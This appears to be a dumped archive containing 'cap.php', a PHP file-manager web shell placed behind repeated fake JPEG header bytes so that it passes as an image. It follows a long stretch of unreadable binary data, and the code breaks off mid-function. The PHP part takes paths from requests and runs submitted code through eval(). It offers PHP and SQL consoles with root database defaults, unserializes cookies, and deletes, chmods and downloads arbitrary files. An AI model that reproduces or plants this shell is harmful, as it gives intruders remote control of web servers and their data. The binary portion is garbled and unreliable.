xf	jDIH# G @ZjNA	;VlN\?--sw{%ΰCy)h YdAߚ4Ac&]lfsۃLs\(`Nh'áP a.L[zO,i`D&ԳX]\ɋԱز*2Ao)	z8BټǹČ֨Mg
`Pc##J9~f*)wy>6rǊ V?̥T!UKʯ',yOvpspT'CkC[r׼w{*]m;ܙBāǏhP*Ms*嘔ɄSCv^Ͻ	Ok+Q/galfziYX6pp1{g lh[F9_$Yp=ڇ/_H)Lّu @I#+Y_v]Y_>?\./ֆ40"Rh [DX|SEOt3^fg3`v/0F4OKKwaQ<`A_MZq'2֛+')a+!ES,qX68MSh;)aH1+EgxMaNF%.$eP6B:dYsi	qFf3XϸIoG`h=]^SW0'7h{6:Bu.=D}p鹈o]R. \11)1Qfn'$bIiwQ	U<gf6siޟ$g1iʖHl.4aߟq`O.S\oڥ-&Hf?CsƠ.:	!>/?xei,O__:b?PNRg9_NN4Q8Qr{WAu Gd:٬(4&a!V*ui`!(s3r>[vRux	@{//Ib0Aav^R`){i܃ڐ7Mf5FfRf<o6pJCs6\jUDkZY,UяAǠ>BEba{L~\v.HI01e*u@>c6hRin)B).]Km>( )3rW~"I{^}[gLnGڡZ/ԑ@oy-MD(|1{]^TM*.S^pJa+lR9;wEw#)iI5ΤY'9NzkP	_Nq$M^ *L
`D;;ĀDE}&ͦ7f.$B ).Fi#=MHĺ)(@gضbFhZKxiPq9!	At=]L'OL^)m0U
30z3L9h6}Q%ߑҎC4iBن$@0dͼ&
,<@r#]o2rbӊҍKhy %1~oE^#T"C>}z=S1NLO^:}=LL}j?ybsRKs_G>;+=8"wtLMOK.7?~?{DzP@19$[a!sp|5txaM+ڃ$K]YS|n*(v,%q6{(u'`]
Ir:`<U$֜A/5,ʰ|!-t>>zY V9AG	:wYbP9A7ex'Pmjd}vDJ!Lq	]bRN5u3r>x
}	-1
a!	
X9;W\[ʰo<hEwUZ!``tVՓ<)L˨LJrupYƥ4'<uAyD.2RMUʹl⭒U/}f uJ_R.xf}haGq\}8,h?g}n,6&vX
q6|1[bAdo(3k	{[-`XDiԮF鼆i%7._s`Luїr4z&#)kLKPxN@5	ӕ}k2:5{`[)(vPsL8[gN 0	:՘C4#F;G[n,JxF o mp7n2<nv.^DC9~ʍQi>%x-/rk,h>/ۅp<kL=pe,Gkz;3XumyJٙZHUyNqҺKC14WJR"bKo;|,C1(F:e;|IlJCi`0	.׎TRCzIP{bxPԒR36[)
8='G%K36=#%y.ΏJ|2vX*A,⃏ܒը
2	ÆM#`_}֢li]㩯A?iyR2mC~Y
Ӿ]Mޔro8QYϬ?.d;+ ',+yh)^oιx~(&T6HKBTi(RpQ[piLӃi~Yd=cI-VvML{c֟NMY},z,+u߮3Թm=By(4&r;ƒ]Hp[*4EZP/:jB"͂f"\[,`&i;@dTƬffYwyx S6ާIO<nezi.nuLyՕ4Lzi>=:m~4kf~
i֪Org\tԸ>:TgܚgMIL'E+45Q=3(uzE(#)B%mnBX;e'RV\+S
z8oՒڶjC.ŖBק8녻Z"=FodـPLxb,N+>w̑VϞpѫϞ8<_vuis.OqR\\Vz#+ߢT/.jJ[ǓSO7$>PZ<{sb`$ph"0wTnGg8
duהϠ =^~DΐV:AF'7Ϊ|N>d~BzQ\32mVH(	w	jC?Sr=9@|P+&u8j>,wº.Ήe]wG`5Չ&K.	H1xKRoA@^=d*vJ^J∻S1ȡgzy
3b.JIXA8e6g_+WK3rW鿖J0ugp_qJ꜓茀M?-G,,pxqޤt@n\U7tTv>->p6wԭ/2

|KE8.r>a7$I("+$P0Uзڙ_ml~r躢?% BFk<Gx[QQF  XG
y@l1B?߸i@}XW﾿wvK[f'{@ ^* H`_0PY+1%h/UYO$HXo r3lH=}"Շ'(JYh`Kyj*ߓ WTf	M:&@:#H{?<߃|2O
O[Y޸  `t<c  Ye/1fx0f
v*K/isʕ{QQ6	rp%f}gDqL'ɀI*BI
>S`>^TBAcލs(cɏzoi]eھop2 "<n5l!PńЋxsꁘE_ATR4=S.Rm$`^̌ 	`d$1%[5(P&Xc*zp\_5H\}rه.dGR{ك0HGfF3ZoA.) `fQoc3B(_G7GA/%zDdW`Q'W/J? V/{?7e:7q/B2NiFpw9l<9߫&SsΞD~i8tLP=WZvЧZFw$L@F!L]uf;Pu!9<Lvo#
c#WGù86՝Q32T#6%>#Q0=~荩<%by1{z)3z93TZb e/OU@Ό N?ygP%1nJw#AԹW/LX1 0˫Xξ6r(	]W$q0	bTϓ10n34VhoCTXAN*{3[ W'!uc؈0|/) </x@㯜ԅܩ	\tu%B#4RK^*n~	"Q M+a@֘$}UfPe>~R?t>O矾Mvؿҭq0BOeCimA(N f[(qu
C 跦JO `\M|sso-a0dU2a')I|aC6-
"G00$x[,3'(\)}2NMqf,#s=el6!UdZ{_DI8j}AQ)/qP|8rd*<H[ovNh	!fف}:;QĽ]z%WCcK"h!Mq\';Xyp*&qj8%rPaxL:'8ѩb.FxP${Ե!!/g,3Wb2o}bRO(|fvB~z<\rz{5x˘iS=^`?8>mƥn2TW K}ʢ{|tf(`ZA>i%/@;DDId!9ezˡ	,)JvՇi1~	Ȇϋ+zjǓQp%C;W%<X!{LO4yv A@bL~0`B> t)TA'{'16NvLkr%xhL`\7Ó2'V38Iі@EAA7wOg:`3lc%Y꺊V06Њ<&[hsiqv}(Y|+U}x6]niJ|͆qn1^v72p|Q||]J'W(ƼVΤ	Or/7@%䅏
k;.U,Wz\?\J}PO"3/X94B%d?ؠ㴦.]|ߓ-ЧDP.|{$NG}eCafZ+0LwG=`*(@dS	!Wzs}_I5t
?gZuymt05EZ4}l=7G%/w y~^C<Yth5L3b
ו ?Dhj{p,v	\D!'6nq#7RX wB7``-Ċ׳yD"&cI]8Ke1ݺ	0"buA:ӛ815ԓq@|F78  $1\h*#梁E}H*iEDDD& oX_̈́3aAt$"Iq-Ȍߢ8QY4=Q2JKE+~]wMC<DQ3cb'j)-5='*9XlW]!ȩ߯|ll)4T͗q٘(˽@|x*Ķ{٧x<7VYje8FPOigb04itڤ֐@gz)C1^d)J\<WÕ*rŸh+su)ѐ[HNxi!D٠P[c.O]7ٱR"^yW0ʥb27x)ͱkvQON2'樘ǟDx<),xϒf @gSŎ8gZ<^3Oi$^Kt+% f3凑xaWmL<3\Y#ZC-J<|KJ:x^Oxr0otAltڏFe_zQ;^2$|sqwsaSwj$\KnYH0]N3pVcB)XQH,iT+,};˪'(}xr<O#ú<\P*j+bkO.ۣIQI<*lҏN<XyF,F|zpS?~HbȲk޻-Bt	gnB
Bi]&A-z%O`W'YWm5U?"hY1'ʲO̔dImR6%Yd$Y&whHDr=Xj&kD29ksa&k<க/˥Ds~<\OطNQ1(dƇN#ǉ(Np<<L>J=&Sb^Op$ϟV>7|hdt0vfWfnTZr@Vg639ږWR㪝_XQO-_+NbWMRF-'PMvm$-*-֭:JNԳ׵9lvҼ7?CFfTj#Fa8%k4/?ד(K>nEz}T产_t7vZ6DDLWm!>Y->mf#=fP#m$$*qr͞ P$4STuFѩZڏ>>y:_4F4]yj,hqIrOi#]7Kf깙*?W<#rPeK<{ռ_ˣQ;	Bbf<fW[w9eVtj8fBr*L\+Wl1_(bb+?O1em|&=MZk1¾R/+a1	rWcPL~RLv&Z^a9獿,;lwłKjrvOSwCqm%Pp!0j
B~wdmmŜ{NEQ@Y5e }Ok+KI>D7 =Ŧ /7r1O=Hl9;8TH&Vd}Ol;\*3̪$h4[n^I=Z5NQ9ʎ:qV>WJ?3|hf׉4SZiv\O|wGBOpBFV_f[ͧRS6QKV՚$;)Kmie+֑֕FSgEU+ϝ\j3H/ir	7Wrl)lӛKuB#o3y|co^&UcmT-@Rzy)B`u'族`X=ŹhJjk,dUE*/첼#/E^i;[kD=ħd*eW%ּD7,己q1yVxa[ŊE6}OlJ'[nr4fL[fll[KJS<|S^wm/1.$Cz+1942򶲭)\ W&<`9n{(4ׁ`1΍ZB̐6A=.fMTzPnȞZTr`9nβ;JȷSYbYԕF#J.8IO9	i.WYGy2ƛQ\"&mWZ6OQE#򘍖'M2-VڡQRORiv!3Y\JJcMljyV]\
ͺmx3M;\ԶQaZ<rJME 8kȲo+?m9vב
.How[mY+v+eo-^]bJVFBp)b],jWZ+$,w&L|ʰIlbBeZk%@X}z|"+UO3+(f/ȍ *n]pݬvYX'K͹=f_xS|UWʅ22tZ[aE1;Vkܳ'GFZdUx#^;JZVkZ݁TpqSUz9m67_V1u_l<vX[o<]6(4	/
˛RI缛?E<9[\kVZ3]ѵIc Z{i*?m`niP J7W+\y<t9NYHUjUy|{y_lFT\r2si)(~PFX{Okf_;AFNv2K?ڌltJT3hU}+O<^r:'\N
KxK%:-NOCO)@1lZ46mXg".Mg5X[ؠrw*ly;e%Vh/=Ԋx[~M`%Ǣզ2A-"ͬ9axhc]W.ۙhz<ƫ8N!mᱟu`j9)7A?_gK*pǸMmlէZ=Ğ%O5OjZ=*!WͭGx&B"K{xZ::|>uݩ'7㶡E&R|]ߪ%i죤$S.ҫ*.Ʃ(kIO9\J{s4jxQB)e&#Wf^mntw/lk(6a9/3cT	WAq/εM'+iYÛ񴳚ςA(,w=ω\B栽hN.]gϺ3p8Y-B66:IxO?evgYkjvfIZ|uN%KNZmVT[ub@ZSRnSN,߬C)^VfEm$;O8LD[,r~+מN;׎-=B/^V?{{yT~J/V-7YFE~ΟnT%Y]:V5Dtji ܬ5N椱͒sa7[7[7[7[7[7[7[7[7[7[7[7[7[7[ogiC4RN-$nlQ7g/34IʣzM|L5>fzwdmiݔMfnc`qaGJ&-5҄]{bH@Uق3{sq6ݥn<{v@1ĄH6mżEKM Mk|I!ǐ7#
OJ?(JihFra(GYuGROm0<Ds4&%VOViU1Ӧ] Y<żQy.k¨3ϕ犧R)Ӏg79RKvLCq,yJ70NhBSNbj*J-5z&Wܐ`,8,gs`c0&er@.U.fl6ߎۛ@VOh[(hj嬼ɄeyS(d`V)ǰTXPwj \|M,.ԛ;.NjT,[zzNbBǖ%7'>vFf;vpX_N;l78ӎoo96Ϟ(/f#%tȆý	zވ=/-bS:+A]#B@1^珞ȍ[Qu>g%CVC Twr'̉]+jNK[ZxV:@g<y2Y+b0Y)R6r<qi1Rgϭ,(G{Jl>z˩ڸHx'`Cx{Jw^Gl7k=?Sn?z-X òiHxyxy4!YgU@d"kCzܨF7O)EхzߩQy *p1Uڼ?UwxyY(4cզ7,d-ij,*b((\_z.Uq+jOizi^~i2Fc]!	:)s_rwźUSFFc6h
@+6|F7j(IQ=.9ɲ$xB)O\M[ոF`0&qJpvGج$93\ϴsf̶[K$٘m${`'m=N;zߟNhwS!S
mZSFjaKj[+n8l;vt(&i-1:`]6G9d	OMGVl;\w2גVsRhyiƭSD;M[iML}Rq
76WXo5:ءjW.wԱ=U&
d1)2ܭiˮSwii{6JiUS2b3D\yk/츱)AhQ$⍧V^%;=?^_θvw/4.ao*'w$ 0|h/ȅwiSa9~ũzBzVUn%m+^%˞'[= ͺ@W"I^g?;XUb#<D#p:&@[ԯ~B$a>~p;}(|5W]L%Q㏇C\$X&N&s}[%(F<#u^~"N,x-P$@9S;Z!B8*CF$j	CWCg"EY&w͡ڌ8ƵMx?SeiTè%Na*t#(G)v\~`DPs-BM#15O^LO
,}I^Ɵ
iNRѸӛTsUf%(*A'
[h ;YAUDXJ1[+'9Z HDt[Bg/#%FIt3h<2Dhcy.ߊ`GgΈVhͿCw7X '|z߸6t%ͲX,8~?p
  @K!ڗ[FZKx
=,)ԏ8X*)N(Z{ΉQN
3i3,):-5K(-hO(fG==~4lRKwt zo`;]b%}%B*hc(}%fyYb$`Imo5-W9$n@9XN\m/pؑz\=%QVL^}eywnmql5{SJd_
kvm|77(8$\Q`E|KL!Jb0-9킮Q<4I7vL"*?L7Fu1p	*0{pH?@S* I#
2C.<)ӛ>u2;pNƩ}}!/́HĒwGNSPC
TԮ38CCY
6M7u1}a
M/wbԻw\dq}oh!z55`Fdа>7v(zF9f<r?>ohH o[G'YG"D"d"m_ꌙ.wEs`n,Gd  1G Ho"7E!Q.MSE_mN噾27P	H轎$vPIJ_(ڗMƺ؛V6HRKK(F3w>?oPD6`q%LQw/qd2G~$f3<z\~.G:VW lSB`.j,>emRq`VCr?<fL0& ˽&ᘘ264'>M
f#x_+a")@@9v0F\Q<z`#hܝ*P}(>ׄB mWR?2f0Mܑ0,h!Pe~$
ZXrF$fȉL~KfdlDL7\΀[󣸣4!0ྯ5:V7Db4|$"K4p8Ό&T{Erl/N택ć䇆(>#瀅@ehP3=dǂ)sD;sX'X̃
ӗh9pi-]u/S=Z;xr^^߁Z	~M.g~F%+o$9(/+R(`LD8/g0$Y]nPx%\k]
0"_1:ִ^:镴;Leyҙzbjh^D@6]"{0oH#}0'p`"|r85h-.\=ΈjzCk1W0rru<xf}piq%eO-Дem G3娤 Н$*h۞.,A?9	<\N]:"Clz;qnTPjIphu0Ka0 XȲO uϗ8YV#&#TK_?(,EW!t+r6fCքMf	DBxMYkNucLI`w8ٜD(W.WĮ`zpZmp[of?=*W,l|3Fk!(h{SOI6-wcÝ!PN94°
)>0uH'$- Dyb<.U \~E0X8q<fY#u-^/抠m{J{J
tzUz[QFڎm3S@i_KC
W;ۋW$ԍ.o$L'X5Qe|g8zUY0^+Kaݠ+$yvӒpYlQd8H .Xvj	Lnݕ!)t:&J@ޓo =:C~ )\_kʗhWM]ڤ#ӊ.VIlO]Ip>T}tG?zvS Q~sj {]@G*ꎷEZ^9",hIY3o. &7㐒qqqUQ/E'J-=c{	еY>Ǻi`:.{'Hui\sqaVve:>tGt_3Yx_-.FNT *	llN3￻$Fnխ	3	COF'/}L[KB(t88Uc`Qe`S|b;nXI!;)KvI^D9~omZBM0]{5oF#_)tWPGKrD]?{݀lwm(A"u簾9:ס\AZ<gVhb4A2eIҴK|qo9-'˛,<m2ZYPoߔrcT2c|ߺ0PHz+]JUOtRT` >|` vhC@`AѧOwätYw@x=>517hap(@Z~!>6ŏ݁&&3{ޜWOLV9u{ C[,3&c׹fyUp `L੆ފ`r8{F^1̔+M,N.g>>34>g?Νzٹev}am,63a%Dө1 rrtO,c6!HV@MC˰3j$M猿B-ǀnq?IFid-Eu܌lhe.ΑN$>:^x+矯
CN1#W̆?dhxI;wxKOhu*g*Hr;XrOlp94Դ,C#TWEH 
%ؚ`ܟus[xR.H-7AxeIC&=\"[	{\]-Zi+C26+{-[Z}UHkC30`p؈^A-	1mF}}FP*\`u	1D4|PdY!Yq)-"k~HC ^+<ZSUƗGQ2q?eBŏP 7%=>PzCgVXK6_85;%=%4&3p2i6IJmk"FrlJ0g'2M)Ss
=C!%ۨP/qFjF6'e"\ŇM]m.^wpݭ˅~lJ:_Bs j@ut	SXwdϩߠ86hTj@.(~yYKH=PK)`Nq߻eoa25̖SM=+5?qh+X6@9藈Ss=US#|0׷|ǐT;&qQ;:W\LrTT<Ik%bC]D/wG;&PyYnQS	\	`ԱgGk}]A/wr:7UUuXρ)2co!Oa:㍹XȴENl+,֩`\v<'L2VfD9@-OV9i]U(E5r?.ޫpD_qSۏ Y=ߏ@6pVq4C}Q$|󫪦8kK)J62$02.XSnȝttG"P6_LgMvN~D'=ec-i@6jhC,;z`LPqO~ƄLnZM"Yz폑b0P^ԇH}i\!)!-9&8T&,,`ԧN`x3O!em{{
H+-W8DGMD((wc@}БЩD2c@F7hrRk3㓋+$֜AvY+.IbXJ	8u=r_@k1N]crF08}s0\7`?3РP:>)F?uvbRV`287Ȩ؆wkQ2^#75 =FKëOLOx)WX߽FWO.C ^)VP4Y_%~(
*
~#vRƹ9{yG]5K;_pv얚Uۥ` 溈]qMeN݌rf틤{F^Z\G,xo˷1IdU	I3kr]_$z>`m`U%#i:at
#gPӘSJ{#<	aDi̍vɇ1
v7jzDwR*c"
+ѴC}?a>,¤l6sy޹]LVUϯxn;6ڹlt|Ky;$cˋ+[SƤ}U`mE*IMָ))@.\C)(L+p$ z3H-˞?dEmAna⬂1nUf0J[O$?xE^X 9`ȫc줌R\p?҈N%>JGPN2C~wlcNY"u۔T7&Wӛ ѣH4R;?< [kڽz	zk.$Gowf7󁞋˲U,VS ~Ro'0?So `]& @@/duCnwy8ZZj(bs7\)X,s?u+ L@KlA0CEÆ@w+/6}	Xa#!R((ɛQmܘjԿ_=qxf. kTx˳AyWGL
s f,;Xt//"::u@oNCNȩ9gtHѦb;BؐH#	5*VG	`Y"#QG"FHhw؏ @sY`pkAU(ϡcCTQrb{~~-AA4Q	w<010eʫ(q6m@]?XtaTTT<i΀
#VwWT7O \"hLB~p!{xR0z/Tm\"5ɞxN	Cb؄dHj>(ovhfI,>294c_/B_vbua2sQrZmt}Gxìcj.	$YVͫ*/5̰ɩ~#)ޚb]R>Qs}i	"wK/xbW1t|.!>lWnc~1fuT=ۘQ_"\D7Z5j3VboޗtQҤN5/f7z:X;M@/%h~ū,/	W=	LC6j"ljsb(߃Flo\nJ8y5j2()gt :wE'/҉;3I[9(N2vm¿'sD^H<x)+yl5,+k~k	BX*
hJ!$(BlBt%*`E Ut{dd.|&jc5e8g(e2&#XZ"|u t|^jLS@,9+|wֱ>[dZ#訖d^ 0 NvФy3NVt=? ZU<ǊyĳcLt=B?bY0O1S9si\k+ʶ|s@=V!S8l4R&0  ,ɍ3[BHl:!_Fb19O_
,0ыÑ;^;eWCݜO+K^Φ'3U=Y=+!ehR4dg`5Xb|x
k{o~CwRʭcaj!Ԟ΃T[;ȍxBcu02t0@q'&~o8fY0tL!)\@k.)amZ)\xu}$;k2C4=Z ȹO8]H@U7AONu.
(3HRGkE*"[YU^c0YX+HvѤ#9O d@1=b.}$$Om4k ~/֡;w{;F8fc*9XQcu*|`Mp5݇MӖR؆awBQUP܅k} u|tb}v!Ûy
iLP8:OhأoZ4UP4##|pd[t;^|#G  U$YS.^!EW}uFuw$Ag8kQ&5p3fabHv\Npu|N\jAtMUtrz}6@=1VlL#ïÁ[xg4SF4ReP5Z!$k#<x?^6kȤ93Z꯫&h%4%
FU]~,/d '}/F;FL_&R +IǺk/<k橩sfi[jnκn[wUTmm2mJtcWĶ>Ά>Hx}tCGee2)B*Cr
dB0%%EWEǡC%uq`J|^Vx}
ZD"{n,B1{W
MlY|Kz)Y.:yg
ʋȃOCE^GGTb!8xr7,',/q+47Qd"-cAEQk)#g.6jOĄX<sCaVÌ$23#IF`@uKZ!fU4^{fWq0V1kEg!.U$J]:eW tJL[EH߽.O3?@|.C=*`QPE2<Nbp,6\8;lfX͂b<20!=d&Jr!	Q?|*n7E6Vlma\=?e&M).xpZ̵paAqX>W&40fC ƭH"uFԘj,__-"+D>=
X؉meE(jjE	f6c7M)y같51aE kVA:c2! `tErL.**x3+XrOPu<p=V't +=WU/Ϡh(p!Uz/CH5ƆtkAnޫC<efqp,nPciBm=b.Yxe!ѩ|rۜρԄ]$.O4FhrLw{>杇ߣ| 8Dzܻ}"6_m!RGtL&xp+^ŮQE3PgfX`TGs6͗ƥ"s P?ub{=F|h%	kM;o;0waէw>=}Ѝ'{ V{@{TJk}pyAiEfqm1SO> vwNVL}!5}Zbk^NܭqI4ΞX?Ϸo?~|/ \  PK     |\tF3)9 )9   cap.phpnu [        ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
